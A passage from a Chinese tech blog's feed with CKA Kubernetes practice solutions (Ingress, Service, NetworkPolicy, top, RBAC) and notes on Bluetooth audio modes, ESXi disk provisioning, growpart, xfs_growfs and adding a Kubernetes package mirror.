(暂不推荐,考试时有问题)"></a>方法2 (暂不推荐,考试时有问题)</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create ingress ping --rule=/hello=hello:5678 --class=nginx --annotation=nginx.ingress.kubernetes.io/rewrite-target=/ -n ing-internal</span><br></pre></td></tr></table></figure><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get ingress -n ing-internal</span><br><span class="line">curl ingressIP/hello</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/78fa18f8545abf9af0a0dd62ffd44afe831cc96ad0ec6a12b68895a84448fe86.jpg" alt="ingress-0"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> ingress </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 4. 暴露服务 service</title>
      <link href="/archives/kubernetes/CKA/service.html"/>
      <url>/archives/kubernetes/CKA/service.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟考题"><a href="#模拟考题" class="headerlink" title="模拟考题"></a>模拟考题</h5><p>设置配置环境：<br><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>请重新配置现有的 deployment <code>front-end</code> 以及添加名为 <code>http</code> 的端口规范来公开现有容器 <code>nginx</code> 的端口 <code>80/tcp</code> 。<br>创建一个名为 <code>front-end-svc</code> 的新 service ，以公开容器端口 <code>http</code> 。<br>配置此 service ，以通过各个 Pod 所在的节点上的 NodePort 来公开他们。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>概念 –&gt; 工作负载 –&gt; 工作负载资源 –&gt; Deployments<br><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><p>检查deployment信息，并记录SELECTOR的Lable标签，这里是app&#x3D;front-end</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get deployment front-end -o wide</span><br></pre></td></tr></table></figure><p>编辑 front-end</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl edit deployment front-end</span><br></pre></td></tr></table></figure><p>spec下 name:nginx 行后添加</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">ports:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">  <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">  <span class="attr">protocol:</span> <span class="string">TCP</span></span><br></pre></td></tr></table></figure><p>暴露端口:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl expose deployment front-end --<span class="built_in">type</span>=NodePort --port=80 --target-port=80 --name=front-end-svc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 注意考试中需要创建的是NodePort，还是ClusterIP。如果是ClusterIP，则应为--type=ClusterIP</span></span><br><span class="line"><span class="comment"># --port是service的端口号</span></span><br><span class="line"><span class="comment"># --target-port是deployment里pod的容器的端口号</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/c74e511c6d436c9843e7616e14b74f3ff3cba68dd773c499cff0ad7386f7a7ff.jpg" alt="service-0"></p><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><p>暴露服务后，检查一下service的selector标签是否正确，这个要与deployment的selector标签一致</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get svc front-end-svc -o wide</span><br><span class="line">kubectl get deployment front-end -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/5824a91b2cc2cca67656c21fbb25efe7c516b9b6ecae5487f295729e8a9c1e08.jpg" alt="service-1"></p><p>如果你kubectl expose暴露服务后，发现service的selector标签是空的，或者不是deployment的，如下图这样：</p><p><img src="https://images.hao.kim/uploads/2024/11/11772da63f64b69a3c3b6528489bb89cdb3933bcb062929012b215b983a0bb32.jpg" alt="service-2"></p><p>则需要编辑此service，手动添加标签</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl edit svc front-end-svc</span><br></pre></td></tr></table></figure><p>在ports这一小段下面添加selector标签 selector: app: front-end #注意yaml里是写冒号，而不是等号，不是app&#x3D;front-end</p><p><img src="https://images.hao.kim/uploads/2024/11/83e7fbe170e40e13b68d83d048f756a7db66762698cad16f1b92f2cdee624e67.jpg" alt="service-3"></p><p>确保service的selector标签与deployment的selector标签一致</p><p><img src="https://images.hao.kim/uploads/2024/11/78c34e2fcbfa029fe577cc1005e19851d37de97a8890a5768bdbaec5832d1889.jpg" alt="service-4"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod,svc -o wide</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl 所在的node的ip或主机名:30xxx</span><br><span class="line">curl svc的ip地址:80</span><br></pre></td></tr></table></figure><blockquote><p>注意，只能curl通svc的80端口，pod 是无法ping通的</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> service </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 3. 网络策略 NetworkPolicy</title>
      <link href="/archives/kubernetes/CKA/NetworkPolicy.html"/>
      <url>/archives/kubernetes/CKA/NetworkPolicy.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context hk8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>在现有的 namespace m<code>y-app</code> 中创建一个名为 <code>allow-port-from-namespace</code> 的新 NetworkPolicy<br>确保新的 NetworkPolicy 允许 namespace <code>echo</code> 中的 Pods 连接到 namespace <code>my-app</code> <code>中的Pods的9000</code> 端口。<br>进一步确保新的 NetworkPolicy ：<br>  <code>不允许</code>对没有在监听 端口<code>9000</code>的Pods的访问<br>  <code>不允许</code>非来自 namespace <code>echo</code>中的Pods的访问</p><hr><p>双重否定就是肯定，所以最后两句话的意思就是： 仅允许端口为 <code>9000</code> 的 pod 访问。 仅允许 <code>echo</code> 命名空间中的 pod 访问。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/">https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/</a><br>概念 –&gt; 服务 负载均衡和联网 –&gt; 网络策略</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看 命名空间的 标签</span></span><br><span class="line">kubectl get ns --show-labels</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果访问者的namespace没有标签label，则需要手动打一个。如果有一个独特的标签label，则也可以直接使用</span></span><br><span class="line">kubectl label ns <span class="built_in">echo</span> project=<span class="built_in">echo</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">vim networkpolicy.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">NetworkPolicy</span></span><br><span class="line"></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">   <span class="attr">name:</span> <span class="string">allow-port-from-namespace</span> <span class="comment"># 题目指定的名字</span></span><br><span class="line">   <span class="attr">namespace:</span> <span class="string">my-app</span>  <span class="comment"># 被访问者命名空间</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span> &#123;&#125;  <span class="comment"># 这两行必须写,也可写成   podSelector: &#123;&#125;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Ingress</span>   <span class="comment"># 策略影响入栈流量</span></span><br><span class="line">  <span class="attr">ingress:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">from:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">namespaceSelector:</span></span><br><span class="line">        <span class="attr">matchLabels:</span></span><br><span class="line">          <span class="attr">project:</span> <span class="string">echo</span> <span class="comment">#访问者的命名空间标签 </span></span><br><span class="line">      <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">          <span class="attr">port:</span> <span class="number">9000</span> <span class="comment"># 被访问者的 端口</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f networkpolicy.yaml</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl describe networkpolicy -n my-app</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> NetworkPolicy </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 2. 查看pod的CPU</title>
      <link href="/archives/kubernetes/CKA/top.html"/>
      <url>/archives/kubernetes/CKA/top.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：<br><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>通过 pod label <code>name=cpu-loader</code>，找到运行时占用大量 <code>CPU</code> 的 <code>pod</code> ， 并将占用 <code>CPU</code> 最高的 <code>pod</code> 名称写入文件 <code>/opt/KUTR000401/KUTR00401.txt</code> (已存在)</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>kubectl top -h<br>kubectl top pod -h<br><a href="https://kubernetes.io/docs/reference/kubectl/cheatsheet/#interacting-with-running-pods">https://kubernetes.io/docs/reference/kubectl/cheatsheet/#interacting-with-running-pods</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl top pod -l name=cpu-loader --sort-by cpu -A </span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;查出来的Pod Name&quot;</span> &gt; /opt/KUTR000401/KUTR00401.txt</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/KUTR000401/KUTR00401.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/d4fc8cb2dbfd20cb67b774b1984f06b794d5ae310a63d125c31d11d7a9365a0e.jpg" alt="top-0"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> top </tag>
            
            <tag> cpu-loader </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>KA 模拟题库 | 1. 权限控制RBAC</title>
      <link href="/archives/kubernetes/CKA/rbac.html"/>
      <url>/archives/kubernetes/CKA/rbac.html</url>
      
        <content type="html"><![CDATA[<h5 id="设置配置环境"><a href="#设置配置环境" class="headerlink" title="设置配置环境"></a>设置配置环境</h5><p><code>kubectl config use-context k8s</code></p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>为部署流水线创建一个新的 <code>ClusterRole</code> 并将其绑定到范围为特定的 <code>namespace</code> 的特定 <code>ServiceAccount</code> 。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>创建一个名为 <strong><code>deployment-clusterrole</code></strong> 且仅允许创建以下资源类型的新 ClusterRole ：</p><ul><li><code>Deployment</code></li><li><code>StatefulSet</code></li><li><code>DaemonSet</code></li></ul><p>在现有的 namespace <code>app-team1</code> 中创建一个名为 <strong><code>cicd-token</code></strong> 的新 ServiceAccount。 限于 namespace <code>app-team1</code> 中，将新的 ClusterRole <code>deployment-clusterrole</code> 绑定到新的 ServiceAccount <code>cicd-token</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>kubectl create clusterrole -h<br>kubectl create rolebinding -h<br><a href="https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/">https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建clusterrole</span></span><br><span class="line">kubectl create clusterrole deployment-clusterrole --verb=create --resource=deployments,statefulsets,daemonsets</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建 sc cicd-token</span></span><br><span class="line">kubectl -n app-team1 create serviceaccount cicd-token</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建 rolebinding</span></span><br><span class="line"><span class="comment"># 题目中写了“限于namespace app-team1中”，则创建rolebinding。没有写的话，则创建clusterrolebinding</span></span><br><span class="line">kubectl -n app-team1 create rolebinding cicd-token-rolebinding --clusterrole=deployment-clusterrole --serviceaccount=app-team1:cicd-token</span><br><span class="line"><span class="comment"># rolebinding后面的名字cicd-token-rolebinding随便起的，因为题目中没有要求，如果题目中有要求，就不能随便起了</span></span><br></pre></td></tr></table></figure><hr><h5 id="检查（考试时，可以不检查的）"><a href="#检查（考试时，可以不检查的）" class="headerlink" title="检查（考试时，可以不检查的）"></a>检查（考试时，可以不检查的）</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n app-team1 describe rolebinding cicd-token-rolebinding</span><br><span class="line">kubectl auth can-i create deployment --as system:serviceaccount:app-team1:cicd-token</span><br><span class="line">kubectl auth can-i create deployment -n app-team1 --as system:serviceaccount:app-team1:cicd-token</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/cd381165ee6e00d250e8f3b93666b1b7ed16b805d55db4bef65982c6aeac2d52.jpg" alt="rbac-0"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> RBAC </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hands-Free AG Audio 与 Stereo区别</title>
      <link href="/archives/tools/hands-free-stereo.html"/>
      <url>/archives/tools/hands-free-stereo.html</url>
      
        <content type="html"><![CDATA[<p>蓝牙耳机接入电脑后会有两个播放设备</p><ul><li>Hands-Free AG Audio (双向,单声道,低音质) 语音通话选择</li><li>Stereo (单向,双声道,立体声,音质好,清晰) 听音乐首选</li></ul><p><img src="https://images.hao.kim/uploads/2024/11/e48501ecea75e483edc6200a1b401ad851704c68577bb85205b574f9b1ca39b9.jpg" alt="hands-free-stereo-0"></p><hr><h2 id="Hands-Free-AG-Audio-与-Stereo-的主要区别"><a href="#Hands-Free-AG-Audio-与-Stereo-的主要区别" class="headerlink" title="Hands-Free AG Audio 与 Stereo 的主要区别"></a>Hands-Free AG Audio 与 Stereo 的主要区别</h2><table><thead><tr><th>特征</th><th>Hands-Free AG Audio</th><th>Stereo</th></tr></thead><tbody><tr><td>音频通道</td><td>单声道（Mono）</td><td>双声道（Stereo，左右声道）</td></tr><tr><td>主要用途</td><td>语音通话、免提通话</td><td>音乐播放、电影观看、高质量音频内容</td></tr><tr><td>音质</td><td>较低，优化语音通话质量</td><td>高质量，适合多媒体播放和高保真音频体验</td></tr><tr><td>带宽要求</td><td>低带宽，适用于低延迟通话</td><td>高带宽，适用于高质量音频传输</td></tr><tr><td>延迟</td><td>低延迟，适合实时语音通话</td><td>可能有轻微延迟，适合非实时音频播放</td></tr><tr><td>应用场景</td><td>蓝牙耳机、车载蓝牙、免提设备</td><td>蓝牙耳机、无线音响、家庭影院、音响系统</td></tr></tbody></table><hr><h3 id="Hands-Free-AG-Audio-模式详解"><a href="#Hands-Free-AG-Audio-模式详解" class="headerlink" title="Hands-Free AG Audio 模式详解"></a>Hands-Free AG Audio 模式详解</h3><p>Hands-Free AG Audio 是指在蓝牙设备中使用的一种音频模式，通常与蓝牙耳机和免提设备相关。AG（Audio Gateway）是指蓝牙设备中的音频网关部分，通常用于连接与处理音频流的数据。</p><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ul><li>免提功能 ：AG 音频通常用于支持免提电话通话的设备（如蓝牙耳机或车载蓝牙系统）。在这种模式下，音频流经由设备传输，可以用于接听电话而无需手持设备。</li><li>单声道音频 ：在 Hands-Free AG Audio 模式下，音频一般是单声道的，因为其主要用途是通话而不是音乐或高质量音频播放。单声道意味着所有声音信号都被混合在一个音轨中。</li><li>低延迟和低带宽 ：为了确保电话通话的质量，Hands-Free AG Audio 通常会优先考虑低延迟和低带宽，以减少通话中的声音延迟和音质损失。</li></ul><h4 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h4><ul><li>蓝牙耳机 ：特别是那些支持通话的蓝牙耳机。</li><li>车载蓝牙系统 ：支持免提功能的车载音响系统。</li><li>电话会议设备 ：支持通过蓝牙进行免提通话的设备。</li></ul><h4 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h4><ul><li>适用于语音通话等低带宽应用。</li><li>支持免提操作，适合需要解放双手的场景。</li></ul><h4 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h4><ul><li>仅支持单声道音频，音质和立体感较差。</li><li>通常只用于语音通话，无法提供高质量的音频体验。</li></ul><h3 id="Stereo-模式详解"><a href="#Stereo-模式详解" class="headerlink" title="Stereo 模式详解"></a>Stereo 模式详解</h3><p>Stereo （立体声）是指一种音频格式，用于传递两声道音频（左声道和右声道）。这种模式能够提供更丰富的音频体验，特别是在音乐播放中，能够创建深度和空间感。</p><h4 id="Stereo特点"><a href="#Stereo特点" class="headerlink" title="Stereo特点"></a>Stereo特点</h4><ul><li>双声道音频 ：Stereo 音频采用两声道（左声道和右声道），使得音频更加丰富和自然，尤其是在播放音乐、电影或其他高质量音频内容时。</li><li>高音质 ：相比 Hands-Free AG Audio，Stereo 能提供更高的音质，因为它支持更高的带宽，能够传输更多的音频细节。</li><li>适合多媒体内容 ：Stereo 模式不仅适用于语音通话，还适用于音乐播放、视频观看等多媒体内容，能够提供更沉浸的音效体验。</li></ul><h4 id="Stereo应用场景"><a href="#Stereo应用场景" class="headerlink" title="Stereo应用场景"></a>Stereo应用场景</h4><ul><li>音乐播放 ：绝大多数蓝牙耳机、无线音响和有线耳机都支持 Stereo 模式，尤其是在听音乐时。</li><li>电视和电影 ：许多音响系统和耳机在观看电影或电视时支持 Stereo 音效。</li><li>高质量音频播放设备 ：如高端蓝牙耳机、家庭影院音响等，通常支持 Stereo。</li></ul><h4 id="Stereo优点"><a href="#Stereo优点" class="headerlink" title="Stereo优点"></a>Stereo优点</h4><ul><li>提供更丰富、更自然的音质，尤其适合音乐和多媒体内容。</li><li>支持左右声道分离，提供更好的空间感和沉浸感。</li></ul><h4 id="Stereo缺点"><a href="#Stereo缺点" class="headerlink" title="Stereo缺点"></a>Stereo缺点</h4><ul><li>需要更多的带宽和资源，可能导致功耗较高，尤其是在无线设备中。</li><li>对比 Hands-Free AG Audio，延迟可能较大，因此不适用于低延迟的语音通话场景。</li></ul>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>ESXI7磁盘格式区别 及 厚置备 精简置备 互转</title>
      <link href="/archives/linux/esxi7-vmdk-thin-thick.html"/>
      <url>/archives/linux/esxi7-vmdk-thin-thick.html</url>
      
        <content type="html"><![CDATA[<h4 id="1-精简置备-thin"><a href="#1-精简置备-thin" class="headerlink" title="1. 精简置备(thin)"></a>1. 精简置备(thin)</h4><p><code>无论磁盘分配多大,存储大小为实际占用大小,对于IO频繁的应用会导致性能下降</code></p><h4 id="2-厚置备-延迟置零-默认"><a href="#2-厚置备-延迟置零-默认" class="headerlink" title="2. 厚置备 延迟置零(默认)"></a>2. 厚置备 延迟置零(默认)</h4><p><code>默认创建格式,预先分配空间,有写操作才按需要将其置零</code></p><h4 id="3-厚置备-thick"><a href="#3-厚置备-thick" class="headerlink" title="3. 厚置备(thick)"></a>3. 厚置备(thick)</h4><p><code>分配号空间并进行置零操作,有IO操作时无需等待直接执行</code></p><blockquote><h4 id="转换之前关闭虚拟机"><a href="#转换之前关闭虚拟机" class="headerlink" title="转换之前关闭虚拟机"></a>转换之前关闭虚拟机</h4></blockquote><h3 id="一-精简置备-转-厚置备"><a href="#一-精简置备-转-厚置备" class="headerlink" title="一. 精简置备 转 厚置备"></a>一. 精简置备 转 厚置备</h3><p>找到对应的虚拟磁盘,然后右键 “扩充磁盘”</p><p><img src="https://images.hao.kim/uploads/2024/11/c78f0fd3ea06ecd7206a938b1b3675e83a78634ab72b8275ddf4c469719ac53f.jpg" alt="esxi7-vmdk-thin-flat-0">  </p><h3 id="二-厚置备-转-精简置备"><a href="#二-厚置备-转-精简置备" class="headerlink" title="二. 厚置备 转 精简置备"></a>二. 厚置备 转 精简置备</h3><h4 id="1-通过vCenter迁移或者克隆虚拟机新的虚拟机磁盘格式为-精简置备"><a href="#1-通过vCenter迁移或者克隆虚拟机新的虚拟机磁盘格式为-精简置备" class="headerlink" title="1. 通过vCenter迁移或者克隆虚拟机新的虚拟机磁盘格式为 精简置备"></a>1. 通过vCenter迁移或者克隆虚拟机新的虚拟机磁盘格式为 精简置备</h4><h4 id="2-通过命令进行转换"><a href="#2-通过命令进行转换" class="headerlink" title="2. 通过命令进行转换"></a>2. 通过命令进行转换</h4><blockquote><p>注意: 对应目录下有两个vmdk的文件 一个是NAME.vmdk 一个是NAME-flat.vmdk, 需要操作的是NAME.vmdk</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vmkfstools -i 源磁盘文件名.vmdk  -d thin 目标文件名.vmdk</span><br></pre></td></tr></table></figure><h4 id="3-虚拟机-“取消注册”"><a href="#3-虚拟机-“取消注册”" class="headerlink" title="3. 虚拟机 “取消注册”"></a>3. 虚拟机 “取消注册”</h4><p><img src="https://images.hao.kim/uploads/2024/11/47209a0c2a88bb32f8fbe12c1f78a30be068a2c82276dc5f703c3271d62216b2.jpg" alt="esxi7-vmdk-thin-flat-1">  </p><h4 id="4-修改对应的vmx文件"><a href="#4-修改对应的vmx文件" class="headerlink" title="4. 修改对应的vmx文件"></a>4. 修改对应的vmx文件</h4><p><img src="https://images.hao.kim/uploads/2024/11/45e89c243e0f05125104d4d9c91bd844de98fa8dba8add26b6c8a1b7ed120df9.jpg" alt="esxi7-vmdk-thin-flat-2">  </p><p>除vmdk后缀文件外的其他文件,建议全部移动到新建bak文件夹</p><h4 id="5-重新注册虚拟机"><a href="#5-重新注册虚拟机" class="headerlink" title="5. 重新注册虚拟机"></a>5. 重新注册虚拟机</h4><hr><h3 id="开启Esxi7-ssh"><a href="#开启Esxi7-ssh" class="headerlink" title="开启Esxi7 ssh"></a>开启Esxi7 ssh</h3><p>依次点击”管理” -&gt; “服务” -&gt; 搜索”TSM” -&gt; 启动 “TSM” 和 “TSM-ssh”</p><p><img src="https://images.hao.kim/uploads/2024/11/2ce1a45b10458815b77d0b2d6fbecc6e7dcb402be72725965c45e6a0c014444d.jpg" alt="esxi7-vmdk-thin-flat-3">  </p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> esxi7 </tag>
            
            <tag> thin </tag>
            
            <tag> thick </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>安装 growpart 扩容工具</title>
      <link href="/archives/linux/install-growpart.html"/>
      <url>/archives/linux/install-growpart.html</url>
      
        <content type="html"><![CDATA[<p>growpart 扩容工具可以 进行热扩容，不需要重启服务器</p><h4 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h4><ul><li><p>debian&#x2F;ubuntu</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get  install  cloud-guest-utils</span><br></pre></td></tr></table></figure></li><li><p>CentOS</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum install  cloud-utils-growpart</span><br></pre></td></tr></table></figure></li></ul><p>如果提示没有，可以使用搜索命令搜索</p><h4 id="搜索"><a href="#搜索" class="headerlink" title="搜索"></a>搜索</h4><ul><li><p>Debian／Ubuntu</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt search growpart</span><br></pre></td></tr></table></figure></li></ul><p><img src="https://images.hao.kim/uploads/2024/11/c6a0ee0245a75ca0749653ff01747f0b707704f056b61bb7e3cdf74e64223239.jpg" alt="install-growpart-0"></p><ul><li><p>CentOS</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum search growpart</span><br></pre></td></tr></table></figure></li></ul><p><img src="https://images.hao.kim/uploads/2024/11/b6f4918e1b9b8d2c6be8f7d2e9a4d74938a0d60ebcb12e3895aa5c977aa1a1ed.jpg" alt="install-growpart-1"></p><p>其他参考链接 <a href="https://support.huaweicloud.com/usermanual-evs/evs_01_0006.html">https://support.huaweicloud.com/usermanual-evs/evs_01_0006.html</a></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> growpart </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>resize2fs /dev/sdb1升级提示 Bad magic number in super-block while trying to open /dev/sdb1</title>
      <link href="/archives/linux/resize2fs-bad-magic-number.html"/>
      <url>/archives/linux/resize2fs-bad-magic-number.html</url>
      
        <content type="html"><![CDATA[<p>使用 <code>growpart</code> 扩容后，执行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">resize2fs /dev/sdb1</span><br></pre></td></tr></table></figure><p>报错 <em><strong>实际情况中可能需要根据自己的实际路径修改 &#x2F;dev&#x2F;sdb1 &#x2F;dev&#x2F;sdb2 或者类似lvm路径</strong></em></p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">resize2fs: Bad magic number in super-block while trying to open /dev/sdb1</span><br><span class="line">Couldn&#x27;t find valid filesystem superblock</span><br></pre></td></tr></table></figure><p><em><strong>原因是：分区格式非 <code>ext3</code> <code>ext4</code> ，可能是 <code>xfs</code> 或者其他</strong></em></p><p>使用 <code>mount</code> 查看对应的分区格式</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mount | grep /dev/sdb1</span><br></pre></td></tr></table></figure><p>如果分区是 <code>xfs</code> ，则需要使用下面命令进行扩容</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">xfs_growfs /dev/sdb1</span><br></pre></td></tr></table></figure><p>如果没有出错则扩容成功</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> resize2fs </tag>
            
            <tag> xfs_growfs </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>添加kubernetes(k8s) 国内源</title>
      <link href="/archives/linux/add-kubernetes-repo.html"/>
      <url>/archives/linux/add-kubernetes-repo.html</url>
      
        <content type="html"><![CDATA[<p>参考：</p><blockquote><p>阿里云: <a href="https://developer.aliyun.com/mirror/kubernetes">https://developer.aliyun.com/mirror/kubernetes</a></p><p>清华： <a href="https://mirrors.tuna.tsinghua.edu.cn/help/kubernetes/">https://mirrors.tuna.tsinghua.edu.cn/help/kubernetes/</a></p><p>官方主页： <a href="https://kubernetes.io/">https://kubernetes.io/</a></p></blockquote><p>新版 kubernetes 源使用方法和之前有一定区别，请求按照如下配置方法配置使用。</p><p>其中新版 kubernetes 源按照安装版本区分不同仓库，该文档示例为配置 1.31 版本，如需其他版本请在对应位置字符串替换即可。</p><p>（比如需要安装 1.29 版本，则需要将如下配置中的 v1.31 替换成 v1.29）</p><p>（目前该源支持 v1.24 - v1.31 版本，后续版本会持续更新）</p><h4 id="Debian-Ubuntu"><a href="#Debian-Ubuntu" class="headerlink" title="Debian &#x2F; Ubuntu"></a>Debian &#x2F; Ubuntu</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt-get update &amp;&amp; apt-get install -y apt-transport-https</span><br><span class="line">curl -fsSL https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.31/deb/Release.key |</span><br><span class="line">    gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg</span><br><span 